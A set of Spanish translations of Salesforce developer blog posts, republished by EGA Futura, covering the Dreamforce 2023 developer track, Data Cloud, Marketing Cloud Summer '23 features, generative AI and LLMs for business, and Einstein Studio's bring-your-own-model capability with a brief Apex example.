Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.
Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.
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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
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¡Llamando a todos los desarrolladores de Salesforce! ¿Estás listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres días como ninguna otra, así que prepárate para aprender, conectarte, divertirte y retribuir rodeado de compañeros innovadores en la conferencia de tecnología más grande del mundo.
Sabemos que está contando ansiosamente los días hasta que comience Dreamforce, así que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones prácticas en acción en Developer Grove.
AI + Data + CRM están cambiando rápidamente el futuro de los negocios y los desarrolladores están a la vanguardia. Únase al presidente y director de ingeniería, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y cómo puede aprovechar la IA en su trabajo.
Si asistirá a Dreamforce en persona, asegúrese de agregar la conferencia magistral a su agenda . Si lo seguirá desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .
📅 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pacífico
🎤 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
❗ Añadir a tu agenda
Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versión Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versión que ¡no querrás perderte esto!
📅 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pacífico
🎤 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
❗ Añadir a tu agenda
Developer Track ofrece una combinación de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores prácticas, consejos y mucha inspiración. ¡Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y más.
📍 Las sesiones de calentamiento se ubicarán en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevarán a cabo en el segundo y tercer piso de Moscone West. Asegúrese de consultar su agenda para conocer la ubicación exacta de las habitaciones.
Para encontrar estas sesiones en el catálogo de sesiones de Dreamforce , seleccione Función en la navegación izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.
Descubra el poder de Einstein GPT para desarrolladores
Qué esperar: La IA generativa ha arrasado en el mundo de la tecnología. Conozca las capacidades más recientes de Einstein GPT y cómo los desarrolladores pueden utilizar la tecnología para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-García, Ananya Jha
❗ Añade esta sesión a tu agenda
Comprensión de la nube de datos para desarrolladores de Salesforce
Qué esperar: aprenda qué significa Data Cloud para los desarrolladores, cómo se exponen sus artefactos como metadatos de plataforma familiares y cómo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
❗ Añade esta sesión a tu agenda
¿Quieres un mejor código? Einstein GPT y Code Analyzer pueden ayudar
Qué esperar: Impulse el desarrollo de Salesforce con el dúo dinámico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda cómo optimizar la generación y validación de código directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
❗ Añade esta sesión a tu agenda
Componentes web Lightning: novedades y novedades
Qué esperar: aprenda cómo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea más fácil y eficiente. Vea las últimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
❗ Añade esta sesión a tu agenda
Hoja de ruta de Apex: novedades y novedades
Qué esperar: Los gerentes de producto de Salesforce profundizarán en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
❗ Añade esta sesión a tu agenda
Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qué esperar: Sumérgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a cómo redactar consultas con IA generativa.
Oradores destacados: Julián Duque, Ben Sklar
❗ Añade esta sesión a tu agenda
Desarrollar componentes web Lightning para dispositivos móviles sin conexión
Qué esperar: ¿ Usuarios móviles sin conexión? Aprenda cómo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo móvil está desconectado de Internet.
Oradora destacada: Angela Le
❗ Añade esta sesión a tu agenda
Gestionar dependencias y conflictos en el Centro DevOps
Qué esperar: profundice en cómo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas más comunes, como la resolución de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
❗ Añade esta sesión a tu agenda
Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qué esperar: Únase a esta sesión para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores prácticas, consejos y trucos, antipatrones y más con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
❗ Añade esta sesión a tu agenda
Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres días .
Nuestra principal atracción este año es una competencia estilo arcade que pone a prueba tus habilidades de ingeniería en IA. ¡Completa tantos desafíos como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificación y puedas presumir de ello!
Visite la estación de demostración que cubre nuestras aplicaciones de muestra y recetas de código, y descubra cómo puede utilizarlas en su propio trabajo. Cada estación contará con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.
❗Novedad de este año: Estación de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta página y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviará una confirmación por correo electrónico y estará disponible en la aplicación Salesforce Events; descárguela ahora en App Store o Google Play Store .
Únase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones más recientes.
📅 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pacífico
❗ Añade la keynote a tu agenda
Únase al cofundador y director de tecnología Parker Harris en el foro anual de clientes True to the Core. Escuche a los líderes de productos compartir los aspectos más destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesión para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. ¡Una cosa que seguirá siendo “central” en True to the Core es que habrá muchas preguntas!
📅 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pacífico
❗ Añade esta sesión a tu agenda
Aprenda cómo resolver sus desafíos de TI más difíciles con IA + Datos + CRM. Escuche cómo los pioneros utilizan las últimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de próxima generación, con potentes capacidades de IA generativa integradas.
📅 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pacífico
❗ Añade esta sesión a tu agenda
Recuperaremos la diversión la primera noche de Dreamforce. Únase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.
¿Busca diversificar su agenda en Dreamforce este año? Consulte todas las sesiones de código y de código bajo en la sección de administración y en la sección de arquitecto . Para obtener más información sobre cada uno, lea la Guía del administrador de Dreamforce 2023 .
¿No puedes asistir a Dreamforce en persona? Durante los tres días, las conferencias magistrales y las sesiones seleccionadas se transmitirán en vivo en Salesforce+. Habrá dos canales y 72 horas de transmisión en vivo. Además de la experiencia en vivo, más de 120 episodios bajo demanda estarán disponibles para verlos después de que finalice Dreamforce en cualquier momento y lugar.
Regístrese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.
¡Dreamforce 2023 estará aquí antes de que te des cuenta! Siga estos pasos para prepararse:
Kaitlin Benz es especialista sénior en marketing de desarrolladores en Salesforce. Lo que más le apasiona es la narración de historias, los podcasts y la comida vegana. Encuéntrala en LinkedIn .
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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
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En nuestras publicaciones de blog anteriores, exploramos a alto nivel qué es Data Cloud para los desarrolladores. También exploramos algunas características interesantes de Data Cloud para desarrolladores . Le mostramos cómocrear conocimientos calculados , cómo usar Apex y cómo cargar datos mediante programación usando la API de ingesta . En esta publicación de blog, cubriremos características aún más increíbles que Data Cloud tiene para ofrecer.
Data Cloud es más que un lago de datos. Es una plataforma de datos activa. Los desarrolladores pueden traer datos desde cualquier sistema, canal o flujo de datos, ya sea en flujos continuos o en lotes. Con Data Cloud, puede conectar sus datos a través de diferentes sistemas que contienen los datos de sus clientes. Data Cloud se basa en nuestra plataforma Hyperforce , lo que significa que Data Cloud puede absorber fácilmente grandes volúmenes de datos. Con Hyperforce, Data Cloud es rápido y también puede capturar eventos segundos después de que ocurran.
Si piensa en cuántos clics hace cada cliente, el volumen de datos se expande rápidamente. Por ejemplo, a medida que los clientes abren y hacen clic en los correos electrónicos, navegan por las páginas de sus aplicaciones móviles y miran los productos en su sitio web, puede capturar esos datos de participación a medida que ocurren. Cuando envía un correo electrónico u oferta y es relevante para la persona que lo recibe, es mucho más probable que haga clic. Cuando un cliente hace clic, puede capturar la interacción en Data Cloud. A continuación, puede utilizar esa información para averiguar qué les interesa y si es probable que realicen una compra o no.
Tener todos estos datos en tiempo real de múltiples fuentes empresariales es excelente. Pero los datos no son significativos a menos que pueda usarlos. Data Cloud se conecta de forma nativa a muchos proveedores de nube, como Google Cloud Storage , Azure Storage y Amazon S3 . Data Cloud también se conecta de forma nativa a Salesforce . Después de solo unos pocos clics, puede conectar cualquier organización de Sandbox o de producción de Salesforce a Data Cloud. Luego, Data Cloud puede ingerir cualquier objeto de Salesforce en un flujo de datos .
Después de que sus datos se ingieran en objetos de lago de datos (DLO) y se asignen a objetos de modelo de datos (DMO), un modelo de datos como el siguiente se integra dinámicamente en Data Cloud. Esto le permite ver visualmente todos los flujos de datos que están creando la vista única de su cliente.
Atrás quedaron los días en que Data Cloud era solo una plataforma de datos para marketing. Los datos almacenados en Data Cloud ahora se pueden usar en muchos sistemas. Los datos de Data Cloud se pueden usar en Amazon Ads y Google Ads mediante activaciones y objetivos de activación . También puede usar el conector de nube de datos nativo en Tableau para obtener nuevos conocimientos. Los aceleradores de Tableau listos para usar le permiten moverse aún más rápido usando tableros y libros de trabajo prediseñados y listos para usar. Con Data Cloud más Tableau, puede cubrir fácilmente nuevos conocimientos sobre su negocio al reunir todos sus datos. Los desarrolladores ahora pueden incorporar estos conocimientos impulsados por IA en una aplicación de su elección.
Los datos de Data Cloud también se pueden enviar a Salesforce mediante acciones de datos y eventos de la plataforma y luego aprovecharse en flujos mediante una variedad de acciones de datos que están disponibles en Salesforce Flow. Los desarrolladores pueden usar Flow para publicar información y segmentos calculados, actualizar flujos de datos, ejecutar resoluciones de identidad e incluso activar modelos de predicción. El flujo también puede obtener datos de un objeto de modelo de datos y almacenar esa información en una variable de colección para usarla en otras partes del flujo.
Data Cloud tiene muchas asociaciones estratégicas con empresas como Amazon, Google, Snowflake y Meta. Estas asociaciones han ampliado la plataforma para permitir mayores posibilidades y ayudar a que sus datos sean más procesables. La mejor noticia es que nuestras asociaciones están creciendo constantemente, ¡y pronto habrá nuevas!
Muralidhar Krishnaprasad (también conocido como MK o Murali para abreviar) es el vicepresidente ejecutivo de ingeniería que ejecuta datos, ML y análisis dentro de la organización de Marketing Cloud. Se unió a Salesforce hace tres años y está a cargo de crear, integrar y hacer crecer varios productos relacionados con datos, ML y análisis. Está liderando la iniciativa para repensar nuestra estrategia general de próxima generación que reúne lo mejor de big data, ML y análisis junto con nuestra plataforma para construir la base para el futuro digital.
Danielle Larregui es promotora sénior de desarrolladores en Salesforce, donde se enfoca en la creación de contenido de Data Cloud y Marketing Cloud. Le encanta la UI/UX, el marketing digital y la codificación. Danielle también disfruta asistir a grupos de usuarios, conferencias comunitarias y eventos técnicos de Salesforce. Puede seguirla en Twitter @dnlarregui o LinkedIn para mantenerse al día con su contenido técnico.
Dianne Siebold es redactora técnica principal del equipo de Experiencia de contenido en Salesforce. Se especializa en desarrollo, inteligencia artificial y tecnologías de integración.
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El enlace a la publicación original, lo encontrarás al final de este artículo.
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El lanzamiento de Summer '23 Marketing Cloud está muy caliente con algunas características nuevas y geniales para los desarrolladores. Hay muchas innovaciones en todos los canales para mensajes de correo electrónico, páginas de destino, aplicaciones móviles, datos e inteligencia artificial. En este blog, cubriré mis mejores selecciones y los aspectos más destacados favoritos del lanzamiento.
BuildRowSetFromJSON() Ha habido mucho revuelo en torno a esta nueva función de AMPscript en la comunidad, y con razón. Esto significa que no hay manera de que pueda dejar esto fuera de mi lista. La nueva función AMPscript BuildRowsetFromJSON() permite a los desarrolladores analizar JSON en sus mensajes de correo electrónico y páginas de destino. Antes de BuildRowSetFromJSON() , los desarrolladores necesitaban usar Guide Template Language o Server-Side JavaScript para analizar JSON. Ahora, los desarrolladores pueden seguir con AMPscript en lugar de cambiar a otro lenguaje de programación de Marketing Cloud para analizar su JSON.
Con la API de descarga del historial de Journey , los desarrolladores pueden descargar hasta 30 días de datos del historial de Journey Builder a través de la API REST. Algunos de los datos que los desarrolladores podrán descargar incluyen detalles sobre los criterios de entrada y salida del viaje, el estado de la actividad y los errores. Puede descargar los datos a través del formato CSV para casos de uso como resolución de problemas, reconciliación de errores, segmentación avanzada, datos sin procesar para herramientas de visualización, campañas de retargeting y más. Agregamos esta nueva API a nuestra colección pública de Postman y lanzamos dos rutas adicionales ( frescura y estimación ) para ayudarlo a comprender mejor los datos que consulta.
A veces ocurren errores, y la forma en que los desarrolladores manejan los errores puede afectar potencialmente a los clientes y su experiencia. Una CloudPage puede encontrar un error porque no está publicada, o puede haber un error debido a un código personalizado existente que afecta la capacidad de procesamiento de la CloudPage. En CloudPages, los desarrolladores ahora pueden configurar contenido personalizado para los errores, lo que permitirá a los desarrolladores dirigir con gracia a sus clientes a activos alternativos en caso de error. La siguiente imagen muestra la nueva capacidad con la opción de configurar el contenido de error personalizado. Dato curioso: ¡esta fue una idea en el intercambio de ideas que se entregó en este lanzamiento!
El kit de desarrollo de software móvil (SDK) de fidelización es un nuevo kit de desarrollo de software que permite a los desarrolladores crear aplicaciones móviles para los programas de fidelización de su empresa.
La ayuda de Mobile SDK consta de funciones y capacidades nativas, como la inscripción y los detalles del perfil. El SDK está disponible para el desarrollo de iOS y Android . El SDK de Loyalty Mobile se basa en la plataforma principal y utiliza funcionalidades principales. Sin embargo, es parte de la familia Marketing Cloud. Los desarrolladores de Salesforce que ya están familiarizados con la creación de la plataforma central deberían considerar que se trata de un SDK muy nuevo y divertido con el que experimentar. Desarrolladores de Marketing Cloud, ¡esto es algo muy emocionante y nuevo para aprender!
Los desarrolladores seguramente se divertirán, y tal vez un poco de desafío, con el diseño de sus propios modelos de IA utilizando Amazon SageMaker y Data Cloud. La integración de Einstein Studio entre Data Cloud y Amazon SageMaker es nuestra primera asociación de inteligencia artificial/aprendizaje automático. Los desarrolladores y los equipos de ciencia de datos pueden crear e incorporar sus propios modelos AI/ML para predicciones de conversión de prospectos, clasificaciones de casos y más. Luego, los especialistas en marketing pueden usar estas predicciones para personalizar cada punto de contacto con sus clientes. Consulte las notas de la versión y la documentación de ayuda para obtener más información.
Espero que haya disfrutado de mis aspectos destacados del lanzamiento de Summer '23 y que esté listo para comenzar a desarrollar con las muchas funciones nuevas en la plataforma de Marketing Cloud. Hay muchas más funciones en la versión Summer '23 para desarrolladores que pueden interesarle. Lo animo a consultar las notas de la versión de Marketing Cloud Summer '23 para leer sobre algunas de las otras mejoras incluidas en esta versión.
Danielle Larregui es promotora sénior de desarrolladores en Salesforce, donde se enfoca en la creación de contenido de Data Cloud y Marketing Cloud. Le encanta la UI/UX, el marketing digital y la codificación. Danielle también disfruta asistir a grupos de usuarios, conferencias comunitarias y eventos técnicos de Salesforce. Puede seguirla en Twitter @dnlarregui o LinkedIn para mantenerse al día con su contenido técnico.
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A medida que las empresas buscan formas de atender a los clientes de manera más eficiente, muchas se dan cuenta de los beneficios de la IA generativa . Esta tecnología puede ayudarlo a simplificar sus procesos, organizar datos, brindar un servicio más personalizado y más. ¿Qué potencia la IA generativa? Modelos de lenguaje grande (LLM), que permiten que la IA generativa cree contenido nuevo a partir de los datos que ya tiene.
Lo que es más importante, la tecnología de IA generativa puede ahorrar tiempo en procesos tediosos, por lo que puede brindar una mejor atención a sus clientes y concentrarse en estrategias generales. Profundicemos en cómo la IA generativa puede ayudar a su empresa a hacer más y aprendamos más sobre modelos de lenguaje grandes.
La IA generativa está impulsada por grandes modelos de aprendizaje automático que se entrenan previamente con grandes cantidades de datos que se vuelven más inteligentes con el tiempo. Como resultado, pueden producir contenido nuevo y personalizado, como audio, código, imágenes, texto, simulaciones y video, según los datos a los que puedan acceder y las indicaciones utilizadas.
Para poner las cosas en un contexto cotidiano, los grandes modelos de lenguaje brindan respuestas dependiendo de cómo se formule una pregunta. Por ejemplo, “¿ qué son los LLM y cómo pueden ayudar a mi negocio? ” versus “¿qué son los LLM y qué valor pueden aportar a mi negocio?” arrojará resultados diferentes. Aunque las preguntas son similares, las respuestas pueden variar según el contexto.
Debido a que estos modelos utilizan el procesamiento del lenguaje natural y las capacidades de aprendizaje automático, los LLM responden de una manera similar a la humana, coherente y identificable. Como resultado, sobresalen en tareas como traducción de textos, resúmenes y conversaciones.
Con la IA generativa que ayuda a las empresas a realizar estas tareas , la confianza debe estar en el centro de sus esfuerzos. Para asegurarse de que está utilizando esta tecnología de manera responsable, puede invertir en una plataforma de gestión de relaciones con los clientes que tenga una capa de confianza centrada en la IA , que anonimiza los datos para proteger la privacidad de los clientes.
Una capa de confianza integrada en un entorno de IA generativa puede abordar los requisitos de seguridad, privacidad y cumplimiento de los datos. Pero para cumplir con altos estándares, también debe seguir las pautas de innovación responsable para asegurarse de que está utilizando los datos de los clientes de manera segura, precisa y ética.
Los avances en la infraestructura informática y la IA continúan simplificando la forma en que las empresas integran grandes modelos de lenguaje en su entorno de IA. Si bien estos modelos están capacitados en enormes cantidades de datos públicos, puede usar plantillas de solicitud que requieren una codificación mínima para ayudar a los LLM a brindar las respuestas correctas para sus clientes.
Además, ahora puede crear LLM privados capacitados en conjuntos de datos específicos de dominio que residen en entornos de nube seguros. Cuando un LLM se capacita utilizando datos de la industria, como para uso médico o farmacéutico, proporciona respuestas que son relevantes para ese campo. De esta manera, la información que ve el cliente es precisa.
Los LLM privados reducen el riesgo de exposición de datos durante el entrenamiento y antes de que los modelos se implementen en producción. Puede mejorar la precisión de la predicción entrenando un modelo con datos ruidosos, donde se agregan valores aleatorios en el conjunto de datos para imitar los datos del mundo real antes de limpiarlos.
También es más fácil mantener la privacidad de los datos de una persona utilizando fuentes de datos descentralizadas que no tienen acceso directo a los datos de los clientes. A medida que la seguridad y el gobierno de los datos se convierten en una prioridad principal, las plataformas de datos empresariales que cuentan con una capa de confianza se vuelven más importantes.
Las empresas también pueden aprovechar cómo funcionan los LLM con otros tipos de IA. Imagine usar la IA tradicional para predecir lo que los clientes pueden planear hacer a continuación (basándose en datos de tendencias y comportamientos anteriores), y luego usar un LLM para traducir los resultados de la predicción en acciones.
Por ejemplo, puede usar IA generativa para crear correos electrónicos de clientes personalizados con ofertas, crear campañas de marketing para un nuevo producto, resumir un caso de servicio o escribir código para desencadenar acciones como recomendaciones de clientes.
Estos grandes modelos lingüísticos ahorran tiempo y dinero al agilizar los procesos manuales, liberando a sus empleados para un trabajo más emprendedor.
Ahora que ha aprendido lo que puede hacer la IA generativa, veamos cómo puede usarla para ayudar a su empresa.
La IA generativa puede crear cosas increíbles con los datos que ya tiene y ayudarlo a funcionar de manera más eficiente. Obtenga más información sobre esta tecnología y vea cómo está cambiando los negocios.
El cielo es el límite cuando se trata de formas en que puede usar la IA generativa para su negocio .
Los LLM son excelentes para reconocer patrones y conectar datos por sí mismos. La IA predictiva y tradicional, por otro lado, aún puede requerir mucha interacción humana para consultar datos, identificar patrones y probar suposiciones.
Al alimentarse de los datos de los clientes en tiempo real, la IA generativa puede traducir instantáneamente conjuntos de datos complejos en información fácil de entender. Esto le ayuda a usted y a sus empleados a tener una visión más clara de sus clientes, para que pueda tomar medidas en función de la información actualizada.
Ahora profundicemos en algunos casos de uso en los que los modelos de lenguaje grandes pueden ayudar a su empresa.
El análisis de sentimientos puede ayudar a los especialistas en marketing, ventas y servicios a comprender el contexto de los datos del cliente para las acciones posteriores a la compra. Por ejemplo, puede usar LLM para segmentar a los clientes en función de sus datos, como usar reseñas negativas publicadas en el sitio web de su marca. Estos conocimientos pueden ayudarlo a actuar de inmediato ante los comentarios negativos. Una gran estrategia de marketing sería enviar un mensaje personalizado ofreciendo al cliente una oferta especial para una futura compra. Esto puede ayudar a mejorar lealtad a la marca, confianza del cliente, retención y personalización.
La generación de texto puede ayudar a los especialistas en marketing a reducir el tiempo que dedican a preparar campañas. La IA generativa puede producir recomendaciones, eventos de lanzamiento, ofertas especiales y oportunidades de participación del cliente para sus plataformas de redes sociales. Luego, puede pulir el texto para asegurarse de que tenga la voz y el tono de su empresa. Por ejemplo, puede usar la copia producida por la IA generativa para enviar correos electrónicos personalizados que informen a los clientes sobre el lanzamiento de un nuevo producto. Esto ayuda a mejorar la personalización, brindando a sus clientes una experiencia más consistente.
El resumen de casos puede ayudar a los agentes de servicio a conocer rápidamente a los clientes y sus interacciones anteriores con su empresa. Los casos proporcionan información del cliente, como comentarios, historial de compras, problemas y resoluciones. La IA generativa puede ayudar a recomendar casos de clientes similares, por lo que un agente puede proporcionar rápidamente una variedad de soluciones. Esto da como resultado resoluciones más rápidas, ahorros de tiempo y costos, y clientes más satisfechos.
La automatización ayuda a los desarrolladores y especialistas en integración a generar código para tareas básicas pero fundamentales. Por ejemplo, puede usar código escrito por modelos de lenguaje grande para desencadenar tareas específicas de automatización de marketing, como enviar ofertas y generar plantillas de mensajes para clientes. De esta manera, el lenguaje general es coherente, personalizado para el cliente y en la voz de su empresa. La automatización puede ahorrar tiempo y mejorar la productividad, lo que permite a los desarrolladores concentrarse en tareas que requieren más atención y personalización.
La IA brinda oportunidades ilimitadas para acercarse a sus clientes al tiempo que garantiza que está operando de manera eficiente. En un estudio reciente de más de 500 líderes de TI, descubrimos que al menos el 33 % consideró que la IA generativa era una prioridad para su negocio. Además, el 67% planeaba priorizarlo en los próximos 18 meses.
Cuando se usan como parte de una estrategia de IA híbrida , los modelos de lenguaje grandes pueden complementar varias capacidades predictivas y mejorar drásticamente la productividad. Si bien la IA generativa puede hacer mucho, esta tecnología aún necesita la guía humana para ser más efectiva para las empresas. La IA generativa puede sacar a la luz los conocimientos que necesita para tomar decisiones que puedan hacer avanzar su negocio.
Piense en ello como un asistente inteligente y automatizado para su empresa, que maneja tareas que consumen mucho tiempo para que sus empleados puedan trabajar en la resolución de problemas complejos. Cuando combine el poder de la IA generativa con el conocimiento y la experiencia que su empresa puede brindar, podrá hacer más por sus clientes.
Hace poco le preguntamos a 2000 profesionales de ventas y servicios qué pensaban sobre la IA generativa. Consulte nuestro informe para mantenerse informado.
Urvi Shah, redactora técnica del personal, contribuyó a esta publicación de blog.
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
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Einstein Studio es una plataforma fácil de usar que le permite crear y poner en funcionamiento la IA en Salesforce. La plataforma aprovecha el poder de otras plataformas de IA, como Amazon SageMaker y Google Cloud Vertex AI, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos en Salesforce. En este blog, presentamos Einstein Studio y exploramos cómo la capacidad de traer su propio modelo (BYOM) generalmente disponible puede generar resultados para su negocio.
Einstein Studio le permite conectarse fácilmente a modelos predictivos o generativos y usarlos en el flujo de trabajo en Salesforce. Por ejemplo, los modelos predictivos se pueden usar para puntuar clientes potenciales, recomendar productos o detectar abandonos. Con modelos generativos, puede crear contenido como resúmenes de casos, respuestas de correo electrónico y descripciones de productos. Para obtener más información sobre la IA generativa y los modelos de lenguaje extenso (LLM), consulte el blog de Salesforce 360 .
Conectar un modelo con Einstein Studio es simple. Puede integrar fácilmente su modelo con Data Cloud para acceder a predicciones e información en tiempo real y usar la información de varias maneras. Por ejemplo, para enriquecer los perfiles de los clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales. También puede usar un modelo generativo para crear campañas de correo electrónico personalizadas basadas en las preferencias de un cliente y su comportamiento de compra.
Estos son algunos de los beneficios de usar un modelo de Amazon SageMaker con datos de Data Cloud en Einstein Studio.
Estos son algunos casos de uso en los que Einstein Studio puede mejorar la experiencia del cliente y agregar un toque personal.
Un minorista puede crear un modelo de IA personalizado para predecir la probabilidad de que un cliente compre atuendos específicos en función de los datos de compromiso, como su historial de compras o actividad en línea. Luego pueden implementar el modelo y utilizar Einstein Studio para ofrecer recomendaciones de productos hiperpersonalizados a los clientes a través del canal más apropiado, incluido el correo electrónico, una aplicación móvil o las redes sociales.
Una agencia de viajes puede conectar los datos de CRM, como el historial de reservas del cliente y las preferencias de viaje, con datos que no son de CRM, como reseñas de destinos y previsiones meteorológicas. Luego pueden implementar modelos de IA predictivos y generativos para predecir qué destinos atraen a clientes específicos y generar recomendaciones de correo electrónico personalizadas para ellos.
Una marca automotriz puede usar inteligencia artificial predictiva para determinar cuándo es probable que un automóvil necesite mantenimiento y detectar reclamos de seguros fraudulentos. Luego, la IA generativa se puede utilizar para personalizar las campañas de marketing de los clientes en función de las necesidades y preferencias individuales.
En esta sección, analizamos brevemente el flujo de trabajo de la aplicación con Einstein Studio.
En este flujo de trabajo, el conector de Python otorga a SageMaker acceso seguro a los objetos de Salesforce Data Cloud. Después de la autenticación, los especialistas en datos pueden explorar y preparar los datos, y realizar tareas de ingeniería de funciones para el desarrollo y la inferencia de modelos de IA mediante la interfaz visual interactiva de SageMaker Data Wrangler .
El flujo de trabajo anterior es específico de Data Wrangler. Pero, ¿qué sucede si es un científico de datos y planea usar los cuadernos de SageMaker Studio para desarrollar y preparar sus modelos personalizados? Una vez que se aprueba un modelo en el registro de SageMaker, simplificamos el proceso con una plantilla de proyecto de SageMaker para Salesforce para automatizar la implementación en un extremo de invocación.
Este extremo de invocación se configura como destino en Einstein Studio y se integra con las aplicaciones de Salesforce Customer 360. Para obtener más información sobre este flujo de trabajo, consulte el blog de AWS .
Hay dos formas de consumir predicciones. Usando acciones invocables en Flow y Apex, o con análisis ad hoc.
Aquí hay un flujo que usa una acción invocable para crear recomendaciones de productos para un cliente.
En este ejemplo, un administrador usa Flow Builder para separar los registros de individuos unificados para verificar si se realizó una compra reciente. Si se realizó la compra, la acción invocable obtiene la inferencia del modelo de Einstein Studio y recomienda el siguiente mejor producto a un cliente.
Esta acción invocable también se puede llamar en Apex. Vea el ejemplo a continuación.
<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('variable_1', '10');
action.setInvocationParameter('variable2', '20');
action.setInvocationParameter('variable3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} «>
Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .
Query API es otra forma rápida de obtener puntajes de predicción para los datos que residen en Data Cloud. Con Query API, puede usar el punto final de inferencia y funciones de predicción de llamadas para probar el punto final.
Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .
Einstein Studio es una plataforma de IA fácil de usar que permite a los equipos de ciencia e ingeniería de datos crear, entrenar e implementar modelos de IA utilizando plataformas externas y datos en Data Cloud. Las plataformas externas incluyen Amazon SageMaker, Google Cloud Vertex AI y otros servicios de IA predictivos o generativos. Una vez que esté listo, puede utilizar los modelos de IA en tiempo real para impulsar cualquier aplicación de ventas, servicios, marketing, comercio y otras en Salesforce.
